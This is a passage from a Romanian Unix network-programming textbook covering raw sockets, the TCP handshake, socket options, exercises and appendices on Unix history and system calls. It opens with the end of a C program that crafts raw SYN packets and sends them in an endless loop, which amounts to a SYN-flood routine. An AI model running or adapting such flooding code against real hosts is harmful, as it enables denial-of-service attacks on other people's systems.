tcph->th_dport = htons (P); 

tcph->th_seq = random ();/* in a SYN packet, the sequence is a 

random */ 

tcph->th_ack = 0;/* number, and the ack sequence is 0 in the 1st 

packet */ 

tcph->th_x2 = 0; 

tcph->th_off = 0; /* first and only tcp segment */ 

tcph->th_flags = TH_SYN; /* initial connection request */ 

tcph->th_win = htonl (65535); /* maximum allowed window size */ 

tcph->th_sum = 0;/* if you set a checksum to zero, your kernel's IP 

stack should fill in the correct checksum during transmission */ 

tcph->th_urp = 0; 

136


} 


iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1); 

/* finally, it is very advisable to do a IP_HDRINCL call, to make 

sure that the kernel knows the header is included in the data, and 

doesn't insert its own header into the packet before our data */ 

{ /* lets do it the ugly way.. */ 

int one = 1; 

const int *val = &one; 

if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) 

printf ("Warning: Cannot set HDRINCL!\n"); 

} 

while (1) 

{ 

if (sendto (s, /* our socket */ 

datagram, /* the buffer containing headers and data */ 

iph->ip_len, /* total length of our datagram */ 

0, /* routing flags, normally always 0 */ 

(struct sockaddr *) &sin, /* socket addr, just like in */ 

sizeof (sin)) < 0) /* a normal send() */ 

printf ("error\n"); 

else 

printf ("."); 

} 

return 0; 

5.7.1.3 Operatii de baza in nivelul de transport 

Pentru a ne putea folosi de pachetele raw, cunostinte de baza despre operatiile stivei IP sunt 

esentiale. Vom incerca sa dam o scurta introducere asupra celor mai importante operatii din stiva 

IP. Cel mai important protocol, este desigur TCP, asupra caruia ne vom concentra. 

Initializarea conexiunii: pentru a contacta un server udp sau tcp care asculta pe portul 1234, clientul 

apeleaza functia connect() cu structura sockaddr continand adresa si portul destinatie. Daca clientul 

nu atasaza cu bind() un port sursa, stiva IP a sistemului va selecta unul si il va atasa. Prin conectare, 

gazada trimite o datagrama continad urmatoarele informatii: 

• IP src: adresa clientului 

• IP dst: adresa serverului 

• TCP/UDP src: portul sursa al clientului 

• TCP/UDP dst: portul 1234. Daca un server este localizat pe portul 1234 pe masina 

destinatie, acesta va raspunde cu o datagrama continand: IP src, server IP dst, client srcport, 

server dstport. Daca nu exista nici un server pe acea masina, un mesaj ICMP de tip unreach 

este creat, subcod "Connection refused". Clientul apoi va termina. Daca masina destinatie 

este cazuta, ori un ruter va crea un mesaj ICMP unreach, ori clientul nu primeste nici un 

mesaj iar conexiunea se intrerupe datorita timpului de asteptare prea lung. 

Initierea TCP ("3-way handshake") si conectarea: clientul va face o initiere de conectare, cu flagul 

tcp SYN setat, un numar de secventa arbitrar, si fara numar de certificare. Serverul certifica mesajul 

SYN trimitand un pachet cu flagul SYN|ACK setat, alt numar de secventa aleator si ca numar de 

certificare secventa originala. In sfarsit, clientul raspunde cu o datagrama tcp cu flag-ul ACK setat, 

si cu secventa ack primita de la server incrementata cu unu. Odata ce conexiunea este stabilita, 

fiecare segment tcp va fi trimis fara nici un flag (PSH sau URG sunt optionale), numarul de 

secventa pentru fiecare pachet incrementat cu marimea segmentului tcp anterior. Dupa ce cantitatea 

de date specificata ca "window size" a fost transferata, perechea care trimite date va astepta pentru 

137


certificare, un segment tcp cu flag-ul ACK setat, iar ca numar ack, unul din ultimile pachete de date 

care au putut fi primite. In acest mod, daca un segment se pierde, nu va fi certificat, si pot fi 

retransmise. Pentru a opri o conexiune, atat clientul cat si serverul trimit un pachet tcp cu numarul 

de secventa corect si flagul FIN setat, iar daca conexiunea se intampla vreodata sa se desincronizeze 

(abort, desynchronized, numar de secventa eronat etc.) perechea care observa eroarea va trimite un 

pachet RST cu numarul corect de secventa pentru a termina conexiunea. 

5.7.2. Opţiuni avansate de utilizare a socket-urilor 

Există trei căi posibile de manevrare a oţiunilor de utilizare a socket-urilor şi-anume: 

• funcţiile getsockopt() şi setsockopt() 

• funcţia fcntl() 

• funcţia ioctl() 

Funcţia getsockopt() 

Are sintaxa: 

int getsockopt(int sockfd, int level, int optname, void *optval, socklen_t *optlen); 

returnează 0 în caz de succes, -1 în caz de eroare. 

• level indică dacă opţiunea de socket vizată este unul generic sau unul specific unui protocol anume. 

• optval este un pointer către o variabilă în care va fi citită valoarea curentă a opţiunii prin apelul 

funcţiei getsockopt(). 

• optlen este dimensiunea variabilei optval. 

Funcţia setsockopt() 

Sintaxa: 

int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen); 

returnează 0 în caz de succes, -1 în caz de eroare. 

• level indică dacă opţiunea de socket vizată este unul generic sau unul specific unui protocol anume. 

• optval este un pointer către o variabilă din care va fi citită valoarea opţiunii pentru setare cu apelul 

funcţiei setsockopt(). 

• optlen este dimensiunea variabilei optval. 

Există două tipuri de bază de opţiuni: 

- de tip flag - opţiune binară ce validează sau invalidează o anumită caracteristică. 

- de tip valoare - opţiune cu o anumită valoare. 

• Opţiunile Socket pot fi grupate în patru mari categorii: 

- opţiuni socket generice 

– SO_RCVBUF, SO_SNDBUF, SO_BROADCAST, etc. 

- opţiuni IPv4 

– IP_TOS, IP_MULTICAST_IF, etc. 


138


- opţiuni IPv6 

– IPv6_HOPLIMIT, IPv6_NEXTHOP, etc. 

- opţiuni TCP 

– TCP_MAXSEG, TCP_KEEPALIVE, etc. 

Unele dintre opţiuni sunt legate de starea Socket-urilor, opţiuni ce sunt setate sau inspectate în funcţie 

de starea curentă a unui socket. Unele dintre aceste opţiuni sunt moştenite de la socket-ul server (în 

ascultare) de către socket-ul client (conectat de). Altele pot fi setate în mod independent atât de partea 

server cât şi de partea client. De exemplu SO_RCVBUF şi SO_SNDBUF sunt opţiuni ce sunt setate 

înaintea apelurilor listen() de partea server şi respectiv connect() de partea client. 

5.7.2.1 Opţiuni socket generice 

• sunt independente de protocol. 

• sunt gestionate în partea comună a codului de sistem ce implementează interfaţa socket 

• nu toate opţiunile generice sunt suportate de toate tipurile de socket. Anumite opţiuni sunt specifice 

doar anumitor tipuri de socket (SOCK_DGRAM, SOCK_STREAM). 

Câteva opţiuni generice: SO_BROADCAST, SO_DONTROUTE, SO_ERROR, SO_KEEPALIVE, 

SO_LINGER, SO_RCVBUF, SO_SNDBUF, SO_REUSEADDR 

• SO_BROADCAST 

- permite sau nu unui proces să trimită mesaje cu difuzare. 

- este suportat doar de către un socket de tip datagramă. 

- valoarea implicită este off. 

• SO_ERROR 

- Eroare în aşteptare - când apare o eroare pe un socket nucleul setează variabila so_error. 

- Procesul poate fi notoficat de această eroare în două moduri: 

– dacă procesul este blocat într-un appel select() fie pentru citire fie scriere, aceasta va returna 

cu specificarea codului de eroare apărut. 

– dacă procesul foloseşte mecanisme I/O orientat pe evenimente, semnalul SIGIO va fi generat 

şi livrat procesului. 

• SO_KEEPALIVE 

- scopul acestei opţiuni este detectarea căderilor sistemului pereche distant Astfel, această opţiune 

SO_KEEPALIVE va detecta conexiunile semideschise şi le termină. 

- dacă această opţiune este setată şi nu a avut loc un transfer de date timp de două ore (durată ce se 

poate stabili printr-o altă opţiune), entitatea TCP va declanşa o procedură de testare a conexiunii 

curente prin trimiterea unui pachet de control (numită "keepalive probe"). 

– dacă perechea răspunde cu ACK, conexiunea se menţine deschisă şi numai după alte două ore 

se va verifica din nou activitatea pe aceea conexiune. 

– dacă perechea răspunde cu RST (sistemul a fost reboot-at probabil), se va seta o condiţie de 

eroare în variabila ECONNRESET iar socket-ul este închis. 

– dacă nu răspunde la mai mult de opt astfel de testări vor fi setate erorile socket în aşteptare fie 

ETIMEDOUT fie EHOSTUNREACH iar socket-ul închis. 


139


• SO_LINGER 

- determină modul în care operează funcţia close() în cazul unui protocol ce oferă servicii orientate pe 

conexiune. Implicit, apelul revine imediat iar datele de transmis în aşteptare din buffer-ul de emisie sunt 

expediate entităţii de pereche. 

- implică un schimb de o structură de date formată dintr-un flag l_onoff şi o valoare de temporizare 

l_linger dintre procesul utilizator şi nucleu. Această structură este: 

struct linger { 

int l_onoff ; 

int l_linger ; 

} 

Scenarii posibile: 

– l_onoff este 0 - l_linger este ignorat. 

– l_onoff non-zero, l_linger este 0 - TCP abandonează conexiunea, descarcă toate datele din buffer-ul 

de emisie a socket-ului şi trimite un RST capătului celălalt. 

– l_onoff non-zero, l_linger non-zero - dacă există date de transmis în buffer-ul de emisie al socket-ului 

procesul va fi suspendat (stare de "somn") până la transmiterea şi confirmarea lor sau până la intrarea în 

time-out. 

• SO_RCVLOWAT şi SO_SNDLOWAT 

SO_RCVLOWAT - Receive Low Water Mark - cantitatea minimă de date în buffer-ul de recepţie a 

unui socket ca acesta să fie gata pentru citire. 

SO_SNDLOWAT - Send Low Water Mark - cantitatea minimă de spaţiu liber în buffer-ul de emisie a 

unui socket pentru ca acesta să poată fi scris. 

- aceste opţiuni sunt valabile doar pentru socket-uri de tip TCP (SOCK_STREAM) sau UDP 

(SOCK_DGRAM). 

• SO_RCVTIMEO şi SO_SNDTIMEO 

- aceste opţiuni permit specificarea time-out-urilor de emisie şi respectiv recepţie pentru un socket. 

Valorile de time-out trebuie să fie specificate într-o structură de tip timeval de forma: 

struct timeval { 

long tv_sec ; 

long tv_usec ; 

} 

-invalidarea unui time-out, se poate opţine prin valori nule a acestor variabile. 

• SO_REUSEADDR 

- permite unui server în ascultare să se reseteze şi să se reconecteze pe WKA (Well Known Address) 

anterior folosit chiar dacă conexiuni anterior stabilite mai există. 

- permite ca multiple instanţe ale aceluiaşi server să opereze pe un acelaş port, atâta timp cât fiecare se 

conectează (cu bind()) la o adresă IP locală diferită. 

- permite unui singur proces să conecteze un acelaş port la socket-uri multiple, atâta timp cât fiecare 

este conectat la o adresă IP locală diferită. 

- permite conexiuni total duplicate pentru socket-uri UDP (broadcast şi multicast). 


140


• SO_DONTROUTE 

• opţiune booleană: permite invalidarea dirijării unei datagrame IP, foarte util în restricţionarea locală a 

transmisiilor IP. 

• este folosit, de regulă, de către procesele de dirijare din nodurile de comutare a pachetelor IP. 

5.7.2.2 Opţiuni specifice pentru socket-uri TCP sau UDP 

• TCP_KEEPALIVE 

- specifică timpul de aşteptare (în secunde) înainte ca entitatea TCP să declanşeze procedura de 

"keepalive probes". 

- este validă doar dacă opţiunea SO_KEEPALIVE a fost validată pentru acel socket. 

- o serie de implementări de SO menţin aceşti parametrii de temporizare la nivel nucleu şi nu la nivel 

socket, astfel orice modificare a lor pentru un socket va afecta implicit toate celelalte definite. 

• TCP_NODELAY 

- folosit pentru invalidarea algoritmului lui Nagle în funcţionarea entităţii TCP sau a întârzierii 

confirmărilor. 

Acest algoritm al lui Nagle prevede - 

TCP nu trimite pachete noi de date dacă cel anterior transmis nu a fost confirmat. La sosirea confirmării 

vor fi transmise toate pachetele de date cumulate între timp. Acest comportament este util în cazul 

transmiterii unor pachete de date mici deoarece cauzează emiterea lor grupate. 

Întârzierea confirmărilor - 

TCP va întârzia puţin transmiterea confirmărilor pachetelor de date sosite pe celălalt sens în speranţa că 

vor exista în curând date utile de transmis şi pe direcţia curentă a confirmărilor şi ca atare ele vor putea 

fi incluseîn antetul acestor pachete de date. 

• TCP_MAXSEG: setează dimensiunea maximă a unui segment TCP (TCP maximum segment size) de 

transmisie pe un socket. 

5.7.2.3 Opţiuni IPv4 

• IP_HDRINCL: folosit de un raw IP socket cănd se doreşte furnizarea de către aplicaţie şi a antetului 

IP. 

• IP_TOS: permite completarea câmpului TOS, “Type-of-service”, al antetului datagramelor IP. 

• IP_TTL: permite completarea câmpului TTL, “Time-to-live”, al antetului datagramelor IP. 

Exerciţii: 

1. Să se scrie cele două module ale unei aplicaţii de comunicare de tip client-server cu socket-uri de tip 

stream. 

2. Să se realizeze un program client şi unul server ce utilizează protocolul UDP şi permite realizarea 

unui “echo” (transmiterea unui mesaj către server şi aşteptarea, de către client a unui răspuns din 

partea acestuia la mesajul transmis). 


141


3. În baza conceptelor teoretice prezentate şi pornind de la rutinele indicate, să se realizeze o 

aplicaţie client-server ce să realizeze transferul unui fişier de pe maşina pe care rulează serverul pe 

cea pe care rulează clientul. Fişierul se va afla în directorul /tmp al maşinii serverului. Clientul are 

un set minim de comenzi şi serverul un set minim de mesaje de eroare. 

4. Să se realizeze un program client şi unul server ce utilizează protocolul UDP şi permite obţinerea 

orei curente de pe o maşină distantă. 


142

Anexa 1. 

VERSIUNI DE UNIX 

--------------------------------------------------------------- 

|Nume Bazat pe Fabricant | 

--------------------------------------------------------------- 

|AIX SV IBM | 

|A/UX SV Apple | 

|BOS SV Bull | 

|BSD BSD University of California at Berkeley (UCB)| 

|Chorus SV Chorus | 

|Coherent SV Mark Williams Company | 

|EP/IX POSIX Control Data Corporation | 

|FreeBSD BSD UCB | 

|GNU Hurd Mach Free Software Foundation | 

|HP-UX SV+BSD Hewlet Packard | 

|IRIX SV Silicon Graphics | 

|Linux --- Linus Torvalds + alţi colaboratori | 

|Minix clone SV Tanenbaum (Vrije Universitet Amsterdam) | 

|Net/2 BSD UCB | 

|NEWS-OS ? Sony | 

|QNX ? Quantum Software | 

|OSF/1 Mach DEC, Open Software Foundation | 

|Plan 9 - AT&T | 

|SCO Xenix SV SCO | 

|SCO Unix SV SCO | 

|Solaris SV Sun Microsystems | 

|SunOs BSD Sun Microsystems | 

|Ultrix BSD DEC | 

|UNICOS SV Cray | 

|UnixWare SV Novell | 

|UTEK ? Tektronix | 

|Xenix SV Microsoft | 

--------------------------------------------------------------- 

STANDARDUL POSIX 1003 

1003.1 funcţii de bibliotecă, apeluri de sistem 

1003.2 shell-ul şi utilitarele 

1003.3 metode de testare 

1003.4 timp real 

1003.5 limbajul Ada pentru Unix 

1003.6 securitatea 

1003.7 administraţia sistemului 

1003.8 accesul la fişiere 

1003.9 Limbajul FORTRAN pentru Unix 

1003.10 super-calculatoare 

1003.12 interfeţele independente de protocol 

1003.13 real-time profiles 

1003.15 interfeţele pentru supercalculatoare -- batch processing 

1003.16 limbajul C 

1003.17 servicii de directoare 

1003.18 POSIX standardized profile 

1003.19 FORTRAN 90 

i

Anexa 2. 

CRONOLOGIE Sisteme de operare 

1968 Proiectul Multics 

1969 Unics pentru PDP-7, Bell Labs, AT&T 

1971 Unix versiunea 1, asamblor PDP11/20 

1974 Unix versiuna 4, C 

1975 Unix versiunea 6, foarte răspîndit 

1978 2.x Berkeley Software Distribution (BSD) 

1978 3BSD, memorie virtuală 

1979 Unix V7 ``ultimul Unix adevărat'' 

1980 4.0BSD 

1982 System III, Unix comercial de la AT&T 

1982 Fondat Sun Microsystems 

1983 System V 

1983 4.2BSD, TCP/IP 

1984 System V Release (SVR)2; publicată SV Interface Definition SVID 

1984 X/Open, consorţiu de comercianţi Unix 

1985 SVID1, SVR2 

1986 SVR3, SVID2 

1986 4.3BSD 

1986 Mach 

1987 X/Open Portability Guide 2 publicat 

1987 Alianţă AT&T -- Sun 

1988 SVR4, amestecă SV, BSD, SunOS 

1988 Se fondează OSF 

1989 X/Open Portability Guide 3 

1991 OSF/1 bazat pe SVR2; micronucleu Mach2.5 

1992 Linux e creat 

1992 X/Open Portability Guide 4 

1992 Windows NT 1.0 

1993 4.4BSD; dezvoltarea Unix la Berkeley încetează 

1993 Novell cumpără Unix System Laboratories 

1993 Novell vinde dreptul pentru marca UNIX lui X/Open 

1995 Digital OSF/1 

1996 GNU Hurd alfa lansat 

1998 Solaris 2.6 

1998 Windows NT 5.0 (amânat) 

2000 Windows2000 

ii

Anexa 3. 

Apeluri de sistem folosite pentru lucrul cu fişiere şi directoare în Unix (programare): 

int open(const char *pathname, int oflag, ... /* mode_t mode */); 

int creat(const char *pathname, mode_t mode); 

- întorc descriptorul de fişier pentru execuţie corectă, altfel -1 

- se includ types.h, stat.h (din sys), si fcntl.h 

- oflag poate fi o combinaţie de: O_RDONLY, O_WRONLY, O_RDWR, O_APPEND, 

O_CREAT, O_EXCL, O_TRUNC, O_NOCTTY, O_NONBLOCK, O_SYNC. 

int close(int filedes); 

- se întoarce 0 pentru execuţie corectă, altfel -1 

ssize_t read(int filedes, void *buff, size_t nbytes); 

ssize_t write(int filedes, const void *buff, size_t nbytes); 

- se întorc numărul de octeţi scrişi/citiţi sau 0 pentru sfârşit de fişier în cazul execuţiei corecte, 

altfel, la eroare, întorc -1 

int dup(int filedes); 

int dup2(int filedes, int filedes2); 

- întorc descriptorul de fişier pentru execuţie corectă, altfel -1 

- se include pentru cele cinci funcţii fişierul antet unistd.h 

off_t lseek(int filedes, off_t offset, int whence); 

- se întoarce noul offset din fişier dacă s-a executat corect, altfel -1 

- se include unistd.h şi types.h (din sys) 

- whence ia valorile: SEEK_SET, SEEK_CUR, SEEK_END 

int fcntl(int filedes, int cmd, ... /* int arg */); 

- se includ types.h (din sys), unistd.h şi fcntl.h 

- cmd poate fi una din: F_DUPFD, F_GETFD, F_SETFD, F_GETFL, F_SETFL, F_GETOWN, 

F_SETOWN, F_GETLK, F_SETLK, F_SETLKW 

- la întoarcere depinde de cmd dacă se întoarce ceva corect, altfel pentru eroare se întoarce -1. 

int ioctl(int filedes, int request, ...); 

- se includ unistd.h şi ioctl.h (din sys) 

- întoarce -1 în caz de eroare şi orice altceva în caz de execuţie corectă 

int stat(const char *pathname, struct stat *buf); 

int fstat(int filedes, struct stat *buf); 

int lstat(const char *pathname, struct stat *buf) 

int chmod(const char *pathname, mode_t mode); 

int fchmod(int files, mode_t mode); 

int chown(const char *pathname, uid_t owner, gid_t group); 

iii

int fchown(int filedes, uid_t owner, gid_t group); 

int lchown(const char *pathname, uid_t owner, gid_t group); 

int mkdir(const char *pathname, mode_t name); 

- toate întorc 0 pentru execuţie corectă, iar la eroare -1 

- unde mode poate lua valorile: S_ISUID, S_ISGID, S_ISVTX, S_IRWXU, S_IRUSR, 

S_IWUSR, S_IXUSR, S_IRWXG, S_IRGRP, S_IWGRP, S_IXGRP, S_IRWXO, 

S_IROTH, S_IWOTH, S_IXOTH 

mode_t umask(mode_t cmask); 

- întoarce fosta mască de creare a fişierelor 

- pentru toate cele zece funcţii de mai sus se includ types.h şi stat.h (din sys) 

int access(const char *pathname, int mode); 

- se include unistd.h 

- întoarce 0 în caz de execuţie corectă, altfel -1 

int chdir (char *path); 

int access(const char *pathname, int mode); 

int unlink(const char *pathname); 

int link(const char *existingpath, const char *newpath); 

int symlink(const char *actualpath, const char *sympath); 

int rmdir(const char *pathname); 

int chdir(const char *pathname); 

int fchdir(int filedes); /* not POSIX.1 */ 

void sync(void); /* not POSIX.1 */ 

int fsync(int filedes); /* not POSIX.1 */ 

- unde mode poate lua valorile: R_OK, W_OK, X_OK, F_OK 

- toate întorc 0 pentru execuţie reuşită, în caz contrar -1 

int readlink(const char *pathname, char *buf, int bufsize); 

- întoarce numărul de octeţi citiţi pentru execuţie corectă, altfel -1 

char *getcwd(char* buf, size_t size); 

- întoarce buf dacă s-a executat corect, altfel -1 

- se include unistd.h pentru toate cele unsprezece funcţii de mai sus 

DIR *opendir(const char *pathname); 

struct dirent *readdir(DIR *dp); 

- întorc un pointer pentru execuţie corectă, altfel NULL 

void rewinddir(DIR dp); 

int closedir(DIR *dp); 

iv

- întoarce 0 pentru execuţie corectă, şi -1 în caz de eroare 

- pentru ultimele patru funcţii se includ types.h (din sys) şi dirent.h 

int remove(const char *pathname); 

int rename(const char *oldname, const char *newname); 

- se include stdio.h 

- întorc 0 pentru execuţie corectă, altfel -1 

int truncate(const char *pathname, off_t length); /* not POSIX.1 */ 

int ftruncate(int filedes, off_t length); /* not POSIX.1 */ 

- se includ types.h (din sys) şi unistd.h 

- întorc 0 dacă se execută corect, altfel -1 

Apeluri de sistem folosite la manevrarea contextului unui proces UNIX: 

void _exit(status); 


void exit(int status); 

int atexit(void (*func) (void)); 

int setenv(const char *name, const char *value, int rewrite); 

int putenv(const char *str); 

void unsetenv(const char *name); 

- întorc 0 la execuţie corectă, altfel o valoare diferită de zero 

void *malloc(size_t size); 

void *calloc(size_t nobj, size_t size); 

void *realloc(void *ptr, size_t newsize); 

- întorc un pointer nenul la execuţie corectă, altfel NULL 

void free (void *ptr); 

char *getenv(const char *name); 

- întoarce pointerul la valoarea asociata numelui primit ca argument, în caz de eroare întoarce 

NULL 

- pentru cele zece funcţii de mai sus se include stdlib.h 

int setjmp(jmp_buf env); 

- întoarce 0 dacă este apelată direct, şi o valoare nenegativă dacă se întoarce dintr-un apel la 

longjump 

void longjump(jmp_buf env, int val); 

- pentru cele două funcţii de mai sus se include setjmp.h 

v

int getrlimit(int resource, struct rlimit *rlptr); /* not POSIX.1 */ 

int setrlimit(int resource, const struct rlimit *rlptr); /* not POSIX.1 */ 

- întorc 0 la execuţie corectă, şi o valoare nonzero în caz de eroare 

- unde resource poate fi: RLIMIT_CORE, RLIMIT_CPU, RLIMIT_DATA, 

RLIMIT_FSIZE, RLIMIT_MEMLOCK, RLIMIT_NOFILE, RLIMIT_NPROC, 

RLIMIT_OFILE, RLIMIT_RSS, RLIMIT_STACK, RLIMIT_VMEM 

- se includ time.h şi resource.h (amândouă din sys) 

Apeluri de sistem folosite la controlul proceselor şi a relaţiei dintre ele 

Următoarele funcţii sunt folosite la crearea şi controlul unui proces UNIX: 

pid_t getpid(void); 

- întoarce ID-ul procesului curent 

pid_t getppid(void); 

- întoarce ID-ul procesului părinte al procesului curent 

uid_t getuid(void); 

- întoarce ID-ul utilizatorului real al procesului curent 

uid_t geteuid(void); 

- întoarce ID-ul utilizatorului efectiv al procesului curent 

gid_t getgid(void); 

- întoarce ID-ul grupului real al procesului curent 

gid_t getegid(void); 

- întoarce ID-ul grupului efectiv al procesului curent 

pid_t fork(void); 

- întoarce 0 în procesul fiu, ID-ul procesului fiu în procesul părinte, şi -1 în caz de eroare 

- pentru functiile de mai sus se includ types.h (din sys) şi unistd.h 

pid_t wait(int *statloc); 

pid_t waitpid(pid_t pid, int *statloc, int options); 

- întorc ID-ul procesului la execuţie corectă, şi -1 la eroare 

- se includ types.h si wait.h (amândouă din sys) 

pid_t wait3(int *statloc, int options, struct rusage *rusage); /* not POSIX.1 */ 

pid_t wait4(pid_t pid, int *statloc, int options, struct rusage *rusage); /* not POSIX.1 */ 

vi

- întorc ID-ul procesului la execuţie corectă, şi 0 sau -1 în caz de eroare 

- se includ types.h, wait.h, time.h, şi resource.h (toate din sys) 

int execl(const char *pathname, const char *arg0, ... /* (char *)0 */); 

int execv(const char *pathname, char *const argv[]); 

int execle(const char *pathname, const char *arg0, ... /* (char *)0, char *const envp[] */); 

int execve(const char *pathname, char *const argv[], char *const envp[]); 

int execlp(const char *filename, const char *arg0, ... /* (char *)0 */); 

int execvp(const char *filename, char *const argv[]); 

- toate cele şase funcţii întorc -1 în caz de eroare, şi nimic în caz de succes 


int setuid(uid_t uid); 

int setgid(gid_t gid); 

int setreuid(uid_t ruid, uid_t euid); 

int setregid(gid_t rgid, gid_t egid); 

int seteuid(uid_t uid); 

int setegid(gid_t gid); 

int setpgid(pid_t pid, pid_t pgid); 

int tcsetpgrp(int filedes, pid_t pgrpid); 

- întorc 0 la execuţie corectă, altfel -1 

pid_t getpgrp(void); 

- întoarce ID-ul grupului de procese din care face parte procesul apelant 

pid_t setsid(void); 

- întoarce ID-ul grupului de procese la execuţie corectă, altfel -1 

pid_t tcsetpgrp(int filedes); 

- întoarce ID-ul grupului de procese al grupului de procese ce rulează în foreground la execuţie 

corectă, altfel -1 

- pentru cele unsprezece funcţii de mai sus se includ types.h (din sys) şi unistd.h 

int system(const char *cmdstring); 

- întoarce diverse valori reflectând terminarea sau eşuarea programului lansat în execuţie de 

comanda dată ca argument. 

char *getlogin(void); 

- întoarce pointerul către numele de login la execuţie corectă, altfel NULL 

- se include pentru ultimele două funcţii fişierul stdlib.h 

clock_t times(struct tms *buf); 

- întoarce timpul trecut la execuţie corectă, altfel -1 

- se include times.h (din sys) 

vii

Functiile implicate în tratarea şi manevrarea semnalelor sunt: 

void (*signal(int signo, void (* func)(int))) (int); 

- unde signo poate fi unul din: SIGABRT, SIGALRM, SIGBUS, SIGCHLD, 

SIGCONT, SIGEMT, SIGFPE, SIGHUP, SIGILL, SIGINFO, SIGINT, SIGIO, 

SIGIOT, SIGKILL, SIGPIPE, SIGPOLL, SIGPROF, SIGPWR, SIGQUIT, SIGSEGV, 

SIGSTOP, SIGSYS, SIGTERM, SIGTRAP, SIGTSTP, SIGTTIN, SIGTTOU, SIGURG, 

SIGUSR1, SIGUSR2, SIGVTALRM, SIGWINCH, SIGXCPU, SIGXFSZ 

(semnificaţia semnalelor se extrage din /usr/include/signal.h) 

- întoarce starea precedenta a semnalului 

int sigemptyset(sigset_t *set); 

int sigfillset(sigset_t *set); 

int sigaddset(sigset_t *set, int signo); 

int sigdelset(sigset_t *set, int signo); 

int sigdelset(sigset_t *set, int signo); 

int sigpending(sigset_t *set); 

int sigprocmask(int how, const sigset_t *set, sigset_t *oset); 

int sigaction(int signo, const struct sigaction *act, struct sigaction *oact); 

- unde how ia una din valorile: SIG_BLOCK, SIG_UNBLOCK, SIG_SETMASK 

- intorc 0 la executie corecta, altfel -1 

int sigismember(const sigset_t *set, int signo); 

- întoarce 1 dacă condiţia este adevărată, altfel -1 

int sigsuspend(const sigset *sigmask); 

- întoarce -1 cu errno setat pe EINTR 

void psignal(int signo, const char *msg); 

- pentru toate funcţiile de mai sus se include signal.h 

int kill(pid_t pid, int signo); 

int raise(int signo); 

- întorc 0 la execuţie corectă altfel -1 

- se includ types (din sys) şi signal.h 

unsigned int alarm(unsigned int seconds); 

- întoarce 0 sau numărul de secunde până la, sau cel rămas până la următoarea alarmă 

int pause(void); 

- întoarce -1 cu errno setat la EINTR 

unsigned int sleep(unsigned int seconds); 

viii

- întoarce 0 sau numărul de secunde nedormite încă. 

- pentru ultimele trei funcţii se include unistd.h 

int sigsetjmp(sigjmp_buf env, int savemask); 

- întoarce 0 daca este apelată direct, şi o valoare nonzero dacă revine dintr-un apel la siglongjmp 

void siglongjmp(sigjmp_buf env, int val); 

- pentru ultimele două funcţii se include setjmp.h 

void abort(void); 

- aceasta funcţie nu revine niciodată 

- se include stdlib.h 

ix

Software pentru comunicaţii

Create successful ePaper yourself

Delete template?

Save as template?